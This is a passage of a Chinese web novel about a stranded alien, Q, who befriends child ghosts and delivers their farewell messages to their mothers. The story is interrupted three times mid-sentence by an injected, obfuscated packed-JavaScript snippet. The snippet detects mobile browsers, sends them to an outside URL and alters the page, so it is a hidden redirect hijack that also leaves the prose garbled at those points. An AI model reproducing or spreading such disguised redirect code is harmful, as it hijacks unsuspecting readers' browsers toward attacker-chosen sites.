《在地球做客的日子》 1. 触手怪 北国三月里的天还是寒冷的灰色，从城市边缘升腾旋转的烟缭绕在半空，有种寂寥压抑的美感。大朵大朵的雪花压在枯树枝上，将褐色的枝丫吓得低头直哆嗦。 一阵窸窸窣窣的风拂过，白得锃亮的雪层中忽然伸出一小段蓝色果冻状类似章鱼触手的东西 —— “啪嗒!” 那只触手无力地垂落在地上，随即十几段触手一齐冒出头，迎着风轻轻地摇摆。 周围漂浮着的十几双眼睛瞬间敏锐地盯过去—— “啊!大家快看！那是什么？” “祂是怪物吗？祂怎么长得和我们不一样？” “肯定是动画片里的那种非常邪恶的触手怪，你们看祂的触手是蓝色的！好吓人！” 蓝色触手们一滞，然后迅速将大部分的自己塞进更厚的雪层中，只露出一丁点光滑的肢体。 “我们现在是鬼，鬼是什么都不害怕的，祂打不到我们。” 触手摇了摇自己暴露在外面的身躯，表示赞同。 “诶？祂好像能听到我们说话！” “不会吧？除非祂也是鬼。喂，你要是能听到就点头，听不到就摇头。” 触手努力分辨学习着从这群意识体中接收到的信息并判断自己的下步动作，不过祂发现自己好像没有该种外星生命文化中的“头”，而且这句话本身的逻辑也有问题。 “你看，我就说祂听不……” 一只类人的东西出现在小鬼们面前。 “头。”触手说 （原来外星生命保持着用语言交流的原始习惯，祂心想，可为什么不干脆用脑电波呢？思维输出成语言是会被法则降维的啊！而且同时会消耗更多能量啊！效率也太低了。） “像人吗？”触手接着问。 叽叽喳喳的小鬼们瞬间冻住了。 半秒后—— “啊啊啊啊啊啊！救命！外星怪兽要吃人啦！”小鬼们哭嚎着，争先恐后地往四面八方飘。有的小鬼拽住自己的裙子，仰着脖，争取飘得再快些。 触手不明白祂们为什么这样害怕自己，明明祂长得很端正呀！祂曾经可是入选过“世界最可爱的十大萌娃”，是联盟中炙手可热的明星人物，怎么在这里就变成了怪物？ 触手大声喊：“我叫Q！不吃人！” 有胆子大的小鬼从遮蔽物中探出头，“你真不吃人吗？” Q一个劲儿疯狂点头，祂将刚刚自己从小鬼们那里接收到意识弧重新整合一遍，选出能顾表达自己意思的词汇：“是外星，不是怪兽，不吃人！” 祂瞧着该星球原住民的样子，努力拟形出更加精细的“手”，然后摆手——“真的不吃人。” 小鬼们还是怕，你瞧瞧我我瞧瞧你的，然后都不说话了。 Q急得要变回触手本体，反复重申“不吃人”“不吃人” “那你吃鬼吗？”一个小女孩（鬼）怯生生地问。 Q摇头摇手，“不吃鬼，不吃鬼，吃鬼是小狗” （虽然祂不知道小狗是什么生物，但是从方才混乱的意识弧中Q大概猜到“小狗”是不好的话） 听见这话一群小鬼才慢慢地走过来，好奇地围着Q瞧，甚至贴近祂仔细地嗅一嗅。 “舔了，没有味儿。”一个小鬼说。 “你别舔祂！老师说过不能乱吃东西，可能有毒！”另一个小鬼伸手去扣朋友的嗓子眼。 Q感到莫名其妙，实际上祂并不懂这些奇怪的外星意识体为什么有如此多的情感起伏，还有，毒是什么东西？ 这时候小鬼群里个头最大的鬼开口了：“你到底是什么东西？为什么来我们这里？” 有价值的问题。 Q用自己学习到的有限词汇一边解释一边比划，“外星，降落，我是Q，不吃人！”Q感到很挫败，为什么全宇宙不能统一成脑电波交流呢？祂根本不会这个星球的星球语啊！ 祂忽然想到一个绝妙的点子，抬起雾蒙蒙的灰色眼睛看着对面，“学习你的大脑，可以吗？” 一群小鬼再次懵了，纷纷低下毛茸茸的脑袋讨论起来。 “老大，学习大脑是什么意思？” “是不是和学习电脑是一个意思？” “不知道，没听说过，好高级呀！应该是大学生才会学的东西！” 一阵低头会议后，老大皱着眉勉强同意了，“可以，你学吧。我们总共十二个人，都允许你学一遍。” Q没忍住噗地一下从屁股后面蹦出来一根蓝色的触手尾巴。 “啊啊啊啊！” 半个小时后…… “我是另一个星球的公民，工作是探寻附近的星球采取信息。不过在上次执行任务中意外碰到了空间漩涡体，然后我就什么都不知道了。 我听到你们的说话声而再次醒来，为了尽快了解该星球的环境特征，我就悄悄听了一会你们的对话，最后没忍住和你们打招呼。”Q将自己的来历以及出现在城市郊外树林里的原因交代得一清二楚。 末了，他问：“还有什么其他的问题吗？” 老大说：“我们死掉了，我们是鬼，别人是听不到鬼说话的，你怎么能听到？” Q回答道：“从你们的记忆里我得知在地球上，人类是借助声波通过听觉所产生的印象来交流的。 但在我们星球上的高级生命进化掉了语言，直接采用脑电波的方式交流，这种方式不仅减少了能量消耗而且传达的意思更为明确。 你们虽然没有实体可意识本身就具有能量，你们所传递的信息也具有能量，所以我可以借助能量的波感知到。 不过这种能量波交流的方式只能作为声波交流的高级替身，还是达不到脑电波交流那种准确率百分百的沟通效果。” 他努力让这群人类小孩，不对，是人类小鬼理解自己的意思，“你们这里不是也存在一些具有特异功能的人士，比如盯着某个物体很长很长时间就能使它移动位置之类的吗？ 这并不难理解。甚至在某些特殊的能量场里，有些人甚至能看见你们的能量形态，用你们的话就叫做‘见鬼啦’！” 小鬼们不懂上面的一大段论述，但他们听懂最后一句话了，中译中简单来讲就是：这个奇怪的外星生物能看见鬼也能听见鬼说话。 “你能不能把自己变得更像人一点，现在这样全是蓝色的看起来太奇怪了，我感觉自己面前好像站着个大蓝球。” Q微怔，核心脑高速运转，他不懂人类的审美，在他们星球上所有纯色的幼崽都是实验室培育的最顶尖的幼崽，具有更高的智商、耐力和可塑造性，可以适应星球上绝大多数的高精尖职位。 每一个纯色幼崽都是联盟耗费大量资源培育出的，他们从出生就开始广泛接收各领域的能量波，然后通过接收理解程度再次筛选最优的幼崽。最后被挑出来的幼崽会与联盟顶尖的科学家沟通脑电波、接受最高级的保护、共享绝密信息，然后为联盟奉献一生。 “既然拥有最高的智商和最顶级的资源，那就应该奉献相应的成果才能不辜负全联盟公民的倾力培养。”Q一直记得生命中心的宣传语，更确切一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050811|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说应该是每个从那里出来的幼崽都记得。 “我长得像人吗？” 小鬼们惊奇又害怕地望着他磕磕巴巴道：“有点像。你看着我们的样子，把自己变得更像一点！” Q生涩地点点头。拟态之后他觉得自己的肢体用起来实在是太陌生了，感觉全身的细胞都不听他的使唤。 头——嗯，变得更圆一点，人类喜欢圆脑袋； 要有浓密的齐耳的头发，嗯，就和他的触手一样是蓝色的好啦； 还有眼睛—— “你能不能变成和我一样的眼睛？我的眼睛是金色的，但是没有人和我一样，他们说这个颜色很奇怪”有个抱着洋娃娃的小鬼提议。 Q听话地把眼睛拟态成了金色的。 “哇！你看起来就像一个大娃娃！感觉软乎乎的！” 小鬼们好奇地飘到他的身边左看看右看看，他们刚刚可是见证了一个“人类”的诞生呢! “可以摸摸你吗？” “想摸摸头！” “摸摸眼睛！” “排队！” Q乖乖地蹲下来方便最小的小鬼也能顺利地摸到他的头顶。可实际上他似乎并不需要这样做，因为鬼会飘，他们低空飞行穿梭在Q身边的空隙里，然后努力从同伴的胳膊大腿间挤出脑瓜。 幸好Q的形态是拟化而成的，否则他现在应该喜提“秃顶”了。 渐渐地，远处已看不清是烟还是云，太阳也被冻得受不住干脆滚回窝里睡觉。一群小鬼依偎在雪地里和Q闲聊，提出天马行空的荒诞问题。 “Q，你说我们都已经死啦，我听人家说死了就是消失了，再也不见了的意思，可为什么我还活着呢？” “因为意识和肉身并不是同时存在、同时消亡的，意识也不是由人脑产生的。就像物质有基本粒子一样，意识也有自己的基本粒子和构成体系。 不过以目前我从你们那里获得信息来看，人类的科技发展水平还不足以支撑他们去探索更深广的意识领域，所以你们大概会把这看做是伪科学或者是古老的神话崇拜。” 提问的小鬼仰头看着Q的下巴，清澈的眼神透出百分之百的疑惑：“什么意思，听不懂。” Q感觉屁股上又要长尾巴了。 在用脑电波传输信息的世界根本不会有“听不懂、不理解”的情况，每个高级生命体都能准确地捕捉到对方的波并完全理解其意图。所以对他们而言从别人那里获取的信息和从自己核心脑里产生的想法一般无二。 “嗯…我打个比方，就比如说人类新出生的婴儿，祂很小很小吧？身体很小、力气也很小，生命也非常非常地脆弱。但即使这样他的肉身也能承载千万年的记忆。” Q觉得自己很适合成为小鬼们记忆中的老师，如果以后要在人类世界生活或许他可以去应聘这一职位。 小鬼接着问“那为什么婴儿没有千万年的长长的记忆呢？是他们不想吗？” Q哑口无言。 半晌，在把核心脑所有数据全部检索一遍之后，蓝发金眼的娃娃轻轻抿嘴：“我不知道，我的种族并没有对人类婴儿的研究，我们的历史上压根没见过人类。” 一群小鬼失落片刻后又迅速欢腾起来：“没关系，从今以后你就是世界上，不，是全宇宙第一个见过人类的Q!你是Q里的第一名！”（没错，小鬼们将Q当做了整个种族的代称，就像‘人类’一样的代称） Q应声点头，不过他记得自己好像本来就是全宇宙里第一个叫Q的奇利亚斯生命啊！ 2. 天堂来信 “Q你几岁啦？”双麻花辫的小鬼问。 “我不知道，你们星球的时间流速和我们星球的不太一样。但是按照我们那里的算法，我应该还处于幼崽期。” 小鬼老大转头，“啊？幼崽期？那你是不是也得上学？” “上学？” “嗯嗯，就是要去学校要听老师讲课要写作业还要考试的那种上学!”小鬼老大伸出手指给他数，“大概就是这些，你们那咋上学？” Q摇头，“我们那不上学。” 十多张小脸贴过来，眼睛瞪得铜铃般异口同声——“你们竟然不上学？” Q点头，“我刚刚了解的信息告诉我：人类的上学就是为了延续旧的知识，创造新的知识，在同样的过程中赓续文明。 但是我们不必如此，我们会将种族的所有文明存储在联邦中央核心脑库里，幼崽只需要在幼崽期用核心脑传输器接受奇利亚斯基础教育知识，然后在检测幼崽的资质后将其分到各个岗位上再接受岗位专业知识、学习实际操作，专业一对一效率极高。 我们的学习方式是通过接收彼此的脑电波进行直接交流，不需要了解和练习，一步到位，所以也根本不存在学不懂的情况。” “好幸福!” “超高科技！” “听起来真棒！” …… Q收到一众小鬼的星星眼和啧啧不绝的赞叹，连自己都生疑了——我们这么厉害的吗？ 北风似乎是很不满意他们忽视自己肆意聊天的嚣张态度，突然咆哮一声，将Q掀翻在厚厚的雪堆里。 “啊！” “Q要被雪给吃掉了！” 一群小鬼争先恐后地去拉Q露在外面的衣服，却怎么也碰不到，他们无形的肢体穿过实物，毫无作用。 “我没事。”雪堆里传出Q闷闷的声音。 他双手拄着松软的雪层，将其按得很结实，然后把脸从雪里拔了出来。那精巧的鼻尖上沾了雪，浓密的睫毛也沾了雪，不停地重复：“没事，一点事都没有。” “雪咬住了你的脸蛋，但你看起来似乎真的没事。不过你的脸应该红红的，拔凉拔凉的才对”蓝帽子小鬼好奇地想去摸他的脸，但后知后觉地又缩回手，有些尴尬地道：“我忘记了，摸不到的。” “这是拟化出来的身体，其实我不怕冷的。” 戴着蓝帽子的小鬼望望地平线上的一线余晖，还是担心地问：“真的吗？马上要黑天了，你要不要去警署去过夜？我们这里晚上特别特别冷，比现在冷好多好多！风特别特别大有时候还会下雪！” 光脚丫的小女孩也附和：“对！蓝帽子说的对！我就是在夜里冻死的，超级冷，不过死掉了就感觉不到了。” “我不叫蓝帽子，我叫李小团！姓李的李，大小的小，团子的团！”蓝帽子小鬼叉着腰气鼓鼓地说。 光脚丫女孩揉揉脑袋，“对不起，人太多了，我刚才没记住。” “Q，你冷不冷？走吧，我们带你去警署，去找警察叔叔。”小鬼老大也发话了，虽然他们看到了外星人神奇之处，但短暂浅薄的生命阅历让他们下意识选择自己认为最安全最稳妥的建议给这位来做客的新朋友。 Q发现这些小孩似乎听不懂话。 他已经明确表达了自己的观点可他们似乎仍然希望自己按照人类的正常行为去做——尽管这对他来说是完全多余的事情。 Q再次摆手并解释，“我不冷，真的不冷。我们那里的昼夜温差特别大，换算成地球的温度来说的话：奇利亚斯生命能忍受超过一百摄氏度的高温也能忍受零下二百度的低温。大家不用担心我，我一点也不冷！” “一百度？化成人水？” “零下二百度？冻成条条啦!” “好厉害！” 呱唧呱唧一片整齐的掌声。 麻花辫小女孩挤开男孩，兴高采烈地仰着脸问，“既然你那么厉害，那你知道有什么办法可以让我妈妈看到我吗？或者能听到我也行，或者或者能感觉到我在就行!她现在肯定很想念我，我也好想她。” Q模仿着人类皱眉的样子（虽然模仿的不是很像），中肯地提出建议，“你可以去她身边呆一段时间，大概要七八天，这样对能量体不敏感的人才能大致察觉到你的存在。 不过一般小孩子脱离身体后意识体的单独存在时间只有五天，恐怕时间不够。” 小女孩眼睛红彤彤的，眼泪一颗一颗地掉下来砸进空气里。她伸出舌尖舔了舔唇边的泪痕，惊奇地发觉眼泪竟然和水一样是透明味的。 “不是眼泪没味道，你们现在是意识体、特殊的能量体，眼泪是你通过想法用自己的能量虚构出来的东西，根本就不存在好吧。” Q想了想有点心软，试探着问，“要不然你把想说的话告诉我，我再转达给你妈妈？理由……理由就是你给我托梦了可以吗？” 女孩听到能给妈妈留言高兴到原地跳跃，轻飘飘地把自己挂在了枯树枝上（麻花辫想象中的被挂了，实际上属于碰瓷行为）。 有了第一例，其他小鬼也不客气了，七嘴八舌地叫嚷着自己也要给妈妈留言。 Q发现自己好像揽了一个职责之外的麻烦活，这种行为根本不符合奇利亚斯人精确到极点的工作准则。 但没办法，谁让这群小鬼在他最开始来到地球的时候给予了最珍贵的帮助呢？滴水之恩当涌泉相报似乎是人类社会的公理，而且人类还有句话叫入乡随俗，既然要完美的伪装成人类就应该要完美地遵从人类的所有规则。 “慢慢来，你们还没这么早就会转化，我记下来一一转达就是了。” Q的手指从左向右划过，给他们定好了顺序。 “麻花辫最先问的的，她第一个来。” 麻花辫得意地看了看身边的同伴，头昂得高高的活像斗赢了的勇士，她说：“麻烦Q告诉我妈妈，其实我死掉的时候一点也不痛的！我哭都是装出来为了要买娃娃，那个针尖就细细的，我根本就不害怕！我会变成天空里最亮最亮的那颗星星，妈妈抬头就能看见我！ 还有还有，麻烦也告诉我爸爸，虽然爸爸不经常在家，但我也很喜欢很喜欢爸爸！只比喜欢妈妈少一点点。” Q点头，“记下了，一会儿就去找你妈妈转达！小光头，你接着来！” “我的也差不多，我以前生了很讨厌的病，但是这和爸爸妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050812|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈没关系。我谢谢妈妈把我生出来，陪我玩、陪我上学、陪我做好多好多有趣的事情，我爱妈妈，也爱爸爸。 我希望自己以后可以变得非常强壮，很厉害那种人，然后还做爸爸妈妈的小孩！”男孩说完用期待的眼神盯着Q,“我下辈子还能做我妈妈的小孩吗？” Q的核心脑同时检索两个星球的知识并飞速分析该事件的可能性，直白而坦诚地得出结论，“意识基本粒子会在意识体脱离肉身的五天左右转化成其他的东西，这个其他东西是什么我也不知道，我们的文明暂时只发现了这些基本粒子，但还没探索到更深更广的领域。 所以我猜测如果要还做你妈妈的孩子，那你下辈子需要把自己现在的全部被转化掉了的意识粒子逆反应再重新归一，理论上讲这几乎是不可能的。不过也许呢，人类不是相信奇迹的吗？也许你就是奇迹！” “哦，这样啊，”光头男孩语气低落，但还是努力扬起一抹笑，“Q，你真棒！你刚见到我们的时候只会像机器人一样重复别人的话，断断续续的，才短短半天你就进步了这么多！让我们给Q鼓掌！” 十几个小鬼卖力地拍击着手，个个脸上都是笑着的。 Q的核心脑记录着传信内容，辅助脑也不断运行着：人类幼崽真是可爱（[可爱]：新词汇，人类词汇，是指讨人喜欢；[喜欢]：新词汇，人类词汇，是一种抽象的具有正面色彩的感觉），从他们的记忆里来看明明每个小孩死去的时候都是痛苦的，现在却也能高高兴兴地和自己一个外星生命玩成一片（[高兴]：新词汇，人类词汇，满足、幸福的情绪；[满足]：……[幸福]：……） 【您已开启陌生人类奇怪“感情”关键词自动收录，核心脑及辅助脑不再显示相关词条，请主人自主理解学习】 疼痛似乎并没有剥夺这些意识体的快乐因子，他们聚在一起依旧能迸发出无穷的快乐——即使只有短短的几天，即使每一天都在遗忘作为人的感受，即使到最后也要给在世的亲人留下祝福。 这是一个坚强乐观到奇怪的群体，或许所有人类都是这样的，就像奇利亚斯的种族特征是“绝对理智”“绝对服从”一样，他们的种族特征就是“快乐”。 Q关掉密密麻麻的词条提示，他确实应该尽快到人类世界看一看，了解一下人类社会中的“感情文明”，毕竟这是迄今为止知道的除奇利亚斯外的第一个外星文明！和他们种族截然不同的文明!多么神奇！ 麻花辫使劲一跺脚从半空飘下来，“那么Q你也会和我们一样消失吗？被转化掉？” Q摇了摇头，“我也不知道，我们处于不同的星球，甚至可能处于不同的宇宙，你们的宇宙法则和我们的法则也许会有些细微的差别，我不知道会怎样。” “好了，既然大家都说完了，那我们就出发吧！” “去哪里？” “第一站——麻花辫的家！” “可是我不认路哎！” “没关系，我从你的记忆中读取了你家的地址和路线，大家跟着我就行了！” 在无形的透明中，几十个小鬼簇拥着一只顶漂亮的“人类小孩”选择最偏僻难行的砂石小路一点点往城中心走…… 3. 夜闯民宅 “Q还有多久才到啊？我真的飘不动了，好累好累，我的腿都哆嗦了！不信你看!” 光头小鬼俯身抱住自己的膝盖不住地抱怨，黏糊糊的小奶音让人心生怜爱。 可惜Q不是人。 “马上到了，前面左侧的那栋楼，1402户就是麻花辫的家。”Q转头回答。 其实Q也觉得有些累，他刚刚从星际飞船事故中苏醒过来，身体正在缓慢修复破损的器官，所以目前储存的能量并不算充足。 “1402？那麻花辫就是住在14楼，好高啊！我们可以坐电梯上去吗？” 麻花辫兴奋的直转圈，迫不及待地回答：“当然可以！我有门禁卡，我带你们上去！” …… 冰冷森严的单元门前整整齐齐叠了一摞非人类。 麻花辫连声道歉：“对不起，我忘记自己死了以后没有门禁卡，不能刷卡进门。” “啊？那怎么办？” “没有门禁卡就拉不开单元门，太糟糕了！” “哎？我们可以等着下一个人进来地时候偷偷跟在他后面进去！” “好办法！” 这算什么好办法？ Q忍不住轻声提示道，“诸位，你们还记得自己现在是什么吗？” “是鬼啊，怎么啦？” 小鬼老大不愧是老大，一点即透，立刻拍脑瓜表示：“对啊！咱们是鬼！鬼直接穿进去就好啦！” 他用力往前一拱，半个身子穿过厚厚的单元门进入了楼道，后半个身子也使劲一蛄蛹像没骨头的软体虫子一样跟着钻了进去。 “快点，就这么进来！”他在里面喊。 “没问题，我们来了！” “啊，我的腿，别压我！” “好讨厌！你的小脏手快塞到我的鼻子眼里了！” 剩余的小鬼们你推我我推他，横七竖八地一股脑挤了进去，只剩下Q孤零零站在门口。 “Q你进来呀！快点！别害怕，我们接住你！”小鬼们声声的呼唤他。 Q的两个脑子都被吵得好痛。 “我不是意识体，我是物质实体，我不能像你们一样穿透单元门。”他解释了自己的情况，然后安抚道，“别担心，我有我的办法。” 昏黄的灯光下，漂亮的小孩子突然不见了踪影，红色的石砖上无声无息间多了一滩淡蓝色的半浓稠液体。 这种形态没法说话，Q直接给他们传能量波——“我顺着门的缝隙进来了。” 大变活人，哦不，是超级变身的场面再一次给地球土著幼崽们带来无敌巨大的震撼，全都聚精会神地观看起如此奇妙的表演。 淡蓝色的液体顺着极细小的门缝一点点往里进，这个过程不算太慢，但也属实和快不沾边。 与此同时，蓝色液体下的红石砖传来细微的震动，然后越来越大，越来越近。 “吧唧” “哎呀！我踩到啥了？这怎么还有一滩没结冰的水呢？换了物业之后这家伙干活也太不上心了，这要是哪个老头老太太踩到滑倒了咋办？” 移动的红色低跟鞋高高抬起重重落下，对蓝色液体进行二次伤害。 红色鞋子旁边的女士黑色皮鞋也发话了：“确实是做的不到位。你开门，我扔一块纸给它擦干了算了。” 红色鞋子向前移动一大步，单元门大大咧咧的张开嘴，洁白的纸巾柔弱无助地落在地上。 “咦？真是奇了怪了，怎么没水了呢？难道这么快就冻成冰了？” 黑色皮鞋不解，但还是捏起纸进了楼道。 无人注意的角落里一滩淡蓝色液体静悄悄地肉痛。 虽然不是真的很痛，但是鞋底触碰身体那种黏腻的感觉，那种混杂的鞋底气味，那种——呕…… Q的心理受到了很大的摧残。 “没……没事吧。” Q不语，只是一味的发出“呼噜”“呼噜”的响声，试图利用带起的空气缓解恶心。 小鬼老大继续问：“要不变回来吧？” “不行，一会进麻花辫的家还是要用这种办法溜进去，楼道里有监控，也得这样用类似水的形态滑进去。” 他说的“溜”和“滑”都是字面意义上的动作。 “那我们上去吧，从楼梯间一点一点飘上去就能找到我家。”麻花辫挤到最前面，轻快地往上飘。其他鬼则围着她，紧紧地跟着。 只有Q无奈之下拟化成细长的一条紧紧攀附在楼梯扶手上，一缩一缩地向前扭动着，好在这条“液体虫”比较灵巧，在小鬼们的刻意等待下也能跟得上队伍。 冰凉的银白色金属扶手蜿蜒向上，过了二十八节，停下来左转抬头便是金色的门牌——1402. “终于到了。”Q灵巧地一滑，轻轻掉在水泥地上。 小鬼们不约而同地转身—— “三”麻花辫数、 “二”小光头接、 “一”大家一起喊! 虽然拟化不需要这么长的时间，但Q还是很配合地跟着小鬼们的节奏来化形——数“三”的时候模拟出大致的身形，数“二”的时候出现五官和手指甲等细节，数“一”的时候准时挂上微笑的表情。 Q走到门口，侧头询问小鬼们的意见：“敲门该怎么敲？我从你们的记忆里看到有好多种敲法，最标准的是哪种？” 麻花辫攥着拳头轻轻地敲了一下门的左侧，然后使劲敲了一下门的右边，“就这样敲，你这样敲妈妈就知道是我回来了。” Q学着她的样子一比一还原她的力度，“咚” “咚！” 小鬼们聚在门前听着屋里面的动静。 一秒，没有人。 两秒，没有人。 就在Q举起拳头准备敲第二次的时候，急促的脚步声越来越近然后门被打开，Q落入一个温暖的人类怀抱。 “孩子，你是谁家的孩子？嗯？你找谁？” Q看着声音颤抖、红血丝堆得能织网的女人，求助地看向麻花辫——“她是你妈妈吗？” 然而麻花辫已经不能回答他了，她小小的身躯全部攀附在女人的背上，抱着她的头泣不成声，断断续续地呜咽：“妈妈！妈妈！我回来了！我好想你妈妈！” Q没有挣脱女人的怀抱，他很顺从地任由这种强制用力的拥抱方式环住自己。 “阿姨好，我是麻花辫的朋友，她让我来找您想给您带几句话。” “麻花辫？你是说小小吗？是小小对不对？” Q猜小小应该就是麻花辫的名字，就轻轻点头。 女人压抑地泪水一下子全部涌出来，流的满面都是泪痕，她又收紧胳膊将Q牢牢抱住：“好孩子，小小她要和我说什么？” 迟钝的神经在彻底释放过后才微微缓过神来，她连忙将Q抱进屋子里，用沙发上的毛毯裹住衣着单薄的小孩，连声道歉：“真对不起，阿姨…阿姨…就是太激动了…” Q不知道她为什么情绪再次失控了，但这似乎和他要做的事情没什么关联。 “没关系。”漂亮的洋娃娃轻轻捏起袖子轻轻擦掉她的眼泪， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050813|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “麻花辫让我来告诉您其实她死掉的时候一点也不痛的！ 她哭都是装出来为了要买娃娃，那个针尖就细细的，她根本就不害怕！ 她会变成天空里最亮最亮的那颗星星，您抬头就能看见她！还有麻烦转告麻花辫爸爸，虽然他不经常在家，但麻花辫也很喜欢很喜欢爸爸！只比喜欢妈妈少一点点。” 半跪着的女人低下头，双手捂住脸一直哭，一直哭。 她背后的麻花辫走到她面前钻进妈妈的怀里，她想闻一闻妈妈的味道，可作为意识体她什么也闻不到。 她用肉嘟嘟的小短手胡乱地给母亲擦着眼泪，可是泪水还是顺着既定的轨迹一颗颗落下。 最后麻花辫轻轻舔了舔女人脸上的泪水。 “咸的”，她说，“是伤心味的。” 这次Q没有纠正她，他问女人，“阿姨，你想看看麻花辫吗？” 女人眼睛迸射出惊喜的光芒，“真的吗？我可以见到小小？她在哪？” Q没有直接回答她的问题，反问道：“你不害怕吗？她现在可是人们说的‘鬼’，是可怕的存在。或许现在你面前的我也是鬼呢？” “没有母亲会害怕自己的孩子，无论是人还是鬼。”她急切地解释，“好孩子，你肯费这个心思给我家小小带话，就算是鬼也是好鬼，我不怕你。你带我去看看小小好吗？哪怕就看一眼也行！” “你张开手，她就在你身边，会抱住你。” 这话Q自己说的都没底气，对于科学水平较低的人类来说这种话简直和“闭上眼睛感受金币噼里啪啦砸你的脑袋”一样荒诞。但女人却极其配合地伸出双臂，像是真的在抱自己的孩子一样轻轻地拍了拍空气。 许多年后午夜梦回，她或许会想起这一抱，或许会怀疑事情的真实性，可那又怎样？ 其实有时候事情是真是假并不重要，只要它真的带来希望和力量，那就是真的。 麻花辫已经渐渐止住了哭泣，她抱住女人的脖子轻轻地叫她，亲热地叫她“妈妈”。 虚浮的空气重量骤增、模糊的视线里出现了熟悉的脸，她露出尖尖的虎牙，一如既往地甜甜地喊妈妈。 …… “还请您替我保守秘密，不要告诉任何人您曾经见过我。” “好，我会的。孩子，要是遇到什么困难了就来找阿姨，阿姨会帮你的。”女人不哭了，但她的两个眼睛肿的像两只核桃，鼓鼓囊囊的吓人。 Q没有回答，他要求女人关上门然后化作一条迅速离开现场。 “麻花辫，你可以在她身边一直陪着她直到消失的。”Q不解地问，“为什要和我们一起离开呢？” “你说过，鬼的能量场和人不一样，待在妈妈身边对妈妈不好。” Q反驳道：“影响不算大，没关系的，和你的思念比起来这点影响算什么呢？想必你的母亲也不会介意的。” 麻花辫还是摇头，没头没脑的来了一句：“可是我害怕。妈妈会想我的，我也会想妈妈的。” Q搞不懂小孩子的脑回路，用极小的牺牲换取更大的利益，这是稳赚不赔的买卖，为什么不做呢？ 抱着洋娃娃的小鬼飘向Q问：“为什么要和那个阿姨说不要和别人说见过你？你害怕别人看见你吗？” Q回答，“不害怕，只是觉得麻烦，没必要的事情就不要让它发生了。而且即使她说了也不会有人会相信，别人只会觉得那是失去孩子后过度伤心的母亲的胡思乱想罢了。” “好了！时间紧任务重，让我们去下一站！” 4. 你相信命运吗 天将破晓时Q蹲在马路牙子旁，有气无力地报数：“第四封信，完成。” “好棒好棒!” “我宣布Q是全天下最厉害的外星人！” “偶们接着干！” 听着小孩鬼们连环彩虹屁，Q摆摆手：“不行了，白天不适合做这个活，咱们歇歇晚上继续。” 小鬼们听话地围着Q蹲成一溜，脑袋瓜齐齐望着泛亮的天边。 “马上就太阳出来了，吃点早餐要不要去？油条豆浆包子和粥你喜欢吃啥？”麻花辫热情地建议道。 Q还是摆手，“我不需要吃人类的食物，我可以直接吸收转化太阳能，就像你们知道的花花草草一样进行光合作用。嗯，说光合作用也不太准确，但是你们能理解我的意思吧？” “哇！好神奇！” “像花草一样！” 在一众的惊呼声中只有小鬼老大蹙着眉毛严肃地问：“Q你是不是偷偷学习别人的大脑了？我们根本不知道光合作用是什么，我们是你的老师，那你怎么能知道光合作用呢？” 空气突然变得沉闷，厚重地压下来。 Q的嘴角一下子僵住了，支支吾吾道：“也没有学习很多，就学了一点点。” 他也很委屈，人类幼崽们的大脑能提供的信息实在是太有限了，就算他学了十几个，也只学到了一些基本常识和在幼儿园的生存法则。 这些东西根本不够让他在人类社会行走，无奈之下他只好时时刻刻开启学习模式——这个脑子学一点，那个脑子学一毫，多次少学，尽量不侵犯被学习人的隐私（尽量）。 他发誓以后一定要找一个渊博且愿意让他学习的人类好好学习他/她的大脑！ 小鬼老大继续说：“你不能这样！想要学习别人的大脑需要先告诉对方，偷偷学是不对的行为。” “但是…但是…”Q但是了好几声，却没憋出理由来。在人家的地盘就要遵守人家的规矩，这是他刚学到的处世准则。 麻花辫看他被训，不服气地帮好朋友说话：“不要说Q，Q他什么都不知道！不是故意的他！” “可是其他人做错事的时候你不也说他们不对吗？”小鬼老大将输出口对准麻花辫，一点也不退缩，自己才是占理的代表正义的那一方！ 麻花辫声音弱了下来，轻轻地狡辩：“可是Q不一样，他是我的好朋友。” 其余小鬼也跟着小声附和道：“Q是好朋友，不一样。 小鬼老大气得胡子都要飘起来（他想象中的自己大胡子发抖），痛心地指责，“你们太那个啥了！” “双标吗？” 小鬼老大被一提醒，气势一下子支棱了老高：“对!就是双标！”他突然想到了什么，小脸皱皱着对准Q，“你还说你没偷学？你都知道双标这种高级词了！” Q慢半拍地捂住嘴，尴尬地说：“对不起啊，嘴比脑子转得快了一点点。” 他学着人类的样子伸出三根手指发誓：“我发誓一定会改正这种不良行为，以后在非必要的条件下绝对等别人同意之后再学习大脑，如果违反誓言就让我再也回不到奇利亚斯！天地为鉴，你们作证！” 小鬼老大这才肯罢休，勉强算是满意地点点头，“好，这才是乖孩子。” Q很想笑——他一个人类幼崽夸另一个外星生命是乖孩子这真的合理吗？ 